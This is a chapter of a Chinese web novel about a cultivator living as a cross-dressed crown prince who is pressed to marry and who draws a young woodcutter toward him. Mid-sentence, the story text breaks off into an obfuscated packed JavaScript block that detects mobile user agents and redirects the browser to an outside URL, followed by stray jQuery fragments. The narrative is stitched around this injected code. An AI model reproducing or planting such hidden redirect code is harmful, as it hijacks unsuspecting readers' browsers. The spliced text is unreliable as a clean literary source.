容禅觉得憋屈极了,他竟然被困在了这座许家宅子里,出都出不去,遑论如何改变冷画屏这一世的悲惨命运。修仙之人追风乘云、移形换影是常事,从没受过和凡人一样不便的苦。也不知除了江桥以外的那几人,都在什么地方,又是什么角色。
入了夜,侍女服侍容禅梳洗入睡,这时,许太傅又忽然过来了,挥手屏退了侍女。
这许太傅,真是尽职尽责,对待太子,比自己儿女都上心。
洗去妆容的许如画,不,应该是冷如画,变成非常清俊秀气的一个美男子。许太傅向太子行了个礼,道:
“殿下,我前几日给您送来的贵女画册,您看得怎么样了?”
容禅正像模像样地用木梳梳着黑发发尾,他哪儿知道什么贵女画册,冷画屏的记忆里也没这东西。他随口答道:“哦,还没看呢,怎么了?”
回头再找找许太傅说的贵女画册在哪儿。
许太傅又拱手行了个正式的礼,掀起衣摆,跪了下来,道:“臣有要事谏言!”
容禅连忙坐直了身体,这许太傅来这套是什么意思,突然行了个大礼?“太傅但说无妨。”容禅说。
许太傅饱含热泪,一腔真情地说:“太子殿下!那妖妃害您之心不死!臣听说了,这么多年来,她一直四处派人在全国收集您的信息。是吕大将军派了诸多心腹,牺牲了众多儿郎的性命,才保您平安无虞地长大。吕将军意思是,圣上年事已高,又沉迷修道炼丹,身体已大不如前。我与诸位大臣,都盼望殿下能早日成婚,诞下皇嗣,保冷氏江山万年常青啊!”
容禅:“……”催婚的来了。
许太傅擦了擦激动的眼泪,又道:“这贵女图册,是吕大将军四处收集,京城中仍然忠心于元后,愿意支持殿下您登上大宝的忠臣良将之家,只要您愿意娶任何一家的女儿,就能得到任一世家大族的鼎力支持;若是您娶了四个,就能得到四个世家大族的倾力支持……若圣上不幸崩逝,您振臂一挥,就能得到京中泰半豪族的支持……”
容禅:“……”这冷太子也相当不容易,跟当种猪差不多,看许太傅期盼的眼神,恨不得冷如画娶十个八个的,再生百八十个儿子。
容禅道:“许太傅,孤觉得此事不急,母后薨逝多年,这些家族,心中还有多少忠诚,难以保证……”
许太傅说:“殿下,吕大将军已经精心为您挑选了一正妃和二次妃。”
容禅:“……”
许太傅说:“京城禁军统领练将军家的次女,比您小两岁,大将军属意她做正妃;还有国子监祭酒刘大人的孙女,做左侧妃,吏部尚书刘大人的妹妹,做右侧妃……”
容禅:“打住!”硬生生制止了许太傅的话头。
容禅假装头痛,揉了揉太阳穴,道:“孤累了,今晚先这样吧,先生的意思孤知道了,孤会好好想想的……”
许太傅嘴巴翕动,似乎还想说什么,但容禅神色不悦,他便退下去了。
容禅一个人躺在床上,手脚摊开,叹了口气,他知道这冷画屏为何如此为难了,一边是祖宗基业、江山社稷,一边是青梅竹马、情难自抑,这叫他如何割舍……容禅翻了个身,想明天把江桥叫过来,难不成,他们还得“私奔”?
*
第二日一早,容禅坐在墙头上,就等着江桥过来。
江桥自墙根底下走过,忽觉头上被人扔了块小石子儿,他抬头一看,一个白衣飘逸、清丽绝伦的少女正坐在矮墙之上,笑容如清泉一般漾开。江桥笑了笑,说:“小姐,你是女孩儿,怎么能这样……”
他话未说尽,容禅就从墙头上跳了下来,江桥连忙伸手扶了一下,不经意又碰到了容禅的手臂,江桥只感觉一阵淡淡的香气扑鼻而来,红了脸。容禅却像没事人一样,揽过江桥的肩膀,说:“等你老半天了。”
谁知江桥却躲开了,红着脸说:“小姐,男女授受,不亲……”
容禅张大了嘴巴,他怎么忘了,他现在还穿着女装,在江桥眼里,他是个“女孩儿”。
若是让江桥,不,应该是秋石,知道和他从小一块儿长大的冷如画小姐是个男子,还时常怀着想上他的心思,不知道会是什么表情。
容禅笑了笑,没有强求,说:“行吧。”
他看着江桥把柴送进柴房里。然后江桥看见后院里还堆着一些木柴没人劈,就顺手拿起斧头帮忙劈柴。
江桥一遍劈柴一边闲聊道:“小姐,你们家的柴火已经够多了,过冬不成问题,怎么还要买这么多木柴呀。”
容禅说:“用得多。我怕冷。”
“哦。”江桥应下了,同时牢牢记着如画小姐怕冷,要多送些木柴过来。
容禅坐在一个木墩上看江桥干活,他早做好了准备,向江桥伸出手,晃了晃,掌心中躺着三枚铜钱。
“小姐,这是……”
“叫我如画。”容禅想起记忆里,秋石都是如此叫冷如画的。“这是给你的”容禅说,“你不是说珠钗太贵重吗,我打听过了,外头一担柴两文钱,你拿得多,我给你三文,这你总不能不收吧?”
为今之计,是得先把秋石忽悠过来,让他和冷太子互通心意,这样两人才能成就好事,恩爱一世。
谁知江桥仍是摇摇头,避开容禅的手。
这呆瓜,在犯什么傻!
江桥拿起一块木头,不费吹灰之力,像切豆腐一样,用斧头把木柴劈成了小块,整整齐齐地码在一起。江桥干活又仔细又干净,不一会儿木柴就被劈得七七八八的,看来秋石这具身体天生神力不是假的。
江桥低声说:“我给如画……小姐帮忙,是自愿的,我不要钱。”
少年身上穿着的粗布衣服,还打着补丁,生活清贫。因为干活,他身上冒出了热气。每次一举起斧头,再劈下,总能看到手臂和胸膛上结实的薄薄肌肉,还有微黑的皮肤。他神情专注于眼前的事,似乎身旁的事都进入不了他心里。
这模样,倒和江桥平日在清微剑宗中差不多,容禅心中一动,这穷小子心里到底想要的是什么?
容禅忽然说:“小石头,你有没有想过,我可能是男的?”
还是先治治江桥的眼拙吧!
江桥一惊,站起来看了容禅一眼,他似乎从来没往这边方向想过,看着容禅的脸,渐渐愣住了。容禅也站起来任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996522|160264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
由他打量。过了一会儿,容禅担心江桥被吓住,便说:“我是说,假如我是男人,你觉得怎样……做女子总是不得自由,一生困锁在后院里,生儿育女,操持家务。还是做男人好,可以出去闯荡江湖,自由自在,建功立业。”
江桥似是接受了这个说法,慢慢思索了一阵,笑道:“小姐如是男儿身……也是人中豪杰,是要读书考试当相公的,我那时……如能给少爷当一名长随,就满足了。”
说着,他又继续弯腰开始劈柴。江桥,或者秋石头的性格沉默寡言,若冷如画不点破,他可能一辈子不往那方面想。
这小子真没志气,他怎么就没想过……当皇后呢?容禅心想。
如果江桥是女子,情况就不一样了……容禅看着劈柴中的江桥劲痩的腰身,以及虽然偏瘦,但常年干活积累了薄薄肌肉的四肢……若江桥是女子,现在可能已经生了三胎了,平坦的小腹里在怀他们的第四胎……许太傅何愁皇嗣之事……
在容禅上下打量江桥的后背和腰臀时,江桥已经把柴劈完了。容禅不舍得江桥走,就说:“等等!先别走,我有事儿找你。”
“什么事儿?”江桥用布巾擦了擦汗。
容禅寻思秋石天生神力,如能练就一身武艺,在这世界也安全几分,将来伴在太子身旁,也不失做一种圆满结局。况且身边刚好有武艺高强的师父乌将军在,不用白不用。
“你要跟着乌师傅习武,练习骑马射箭。”容禅说。
江桥自然知道乌师傅是许家的教习头领,平时冷漠高傲,甚少语言。他忐忑地说:“这怎么行,您知道,乌师傅肯定不会同意的……”
“不试试怎么知道?”容禅说,同时伸出自己一双不沾春水的素手,说,“那你忍心,让我自己去跟着乌师傅学武艺?你不替我去,乌师傅就让我学射箭了。”容禅一脸委屈之色,他料定,江桥不忍他受苦。
这么一说,江桥果然不反驳了,小姐怎吃得了习武这份苦。同时容禅一拽江桥的衣袖,江桥就觉得双脚好像离地了一般,被容禅拖着往演武场走去。江桥心想,许小姐看着袅娜纤细,怎么力气还挺大的,随意就可以把他拽着走……
至于乌将军那边,容禅打算同样软硬兼施,他一个太子的身份,还压不住一个属下?
两人穿过廊下,江桥看着容禅高挑修长的身材,比一般女子都高,尤其那副英气美丽的容颜,时不时看他一眼就让他心脏乱跳。白皙光滑的脸庞,即使只是微笑,都让他呼吸难以自抑,所以他后来才越来越少来许宅,并非他不想,只是他怕会抑制不住感情……只是许小姐说如果他是男人……秋石忽然觉得自己的记忆出现了偏差,许多记忆中仿佛确定的细节,现在好像也开始模糊了……他心中朦朦胧胧地种下了一个疑问……“许小姐”,真的是“许小姐”吗?他一直以来非常肯定的事实,好像也开始不确定了。
谁知容禅拉着江桥还没到演武场,就听到了许太傅和乌将军私下商议的声音。虽然容禅的修为受限,变得如凡人一些,但他毕竟是修士的身体,五感比常人强一些。他将残余的灵力集中于耳部,藏在花窗后面,听到了许太傅和乌将军谈论的声音。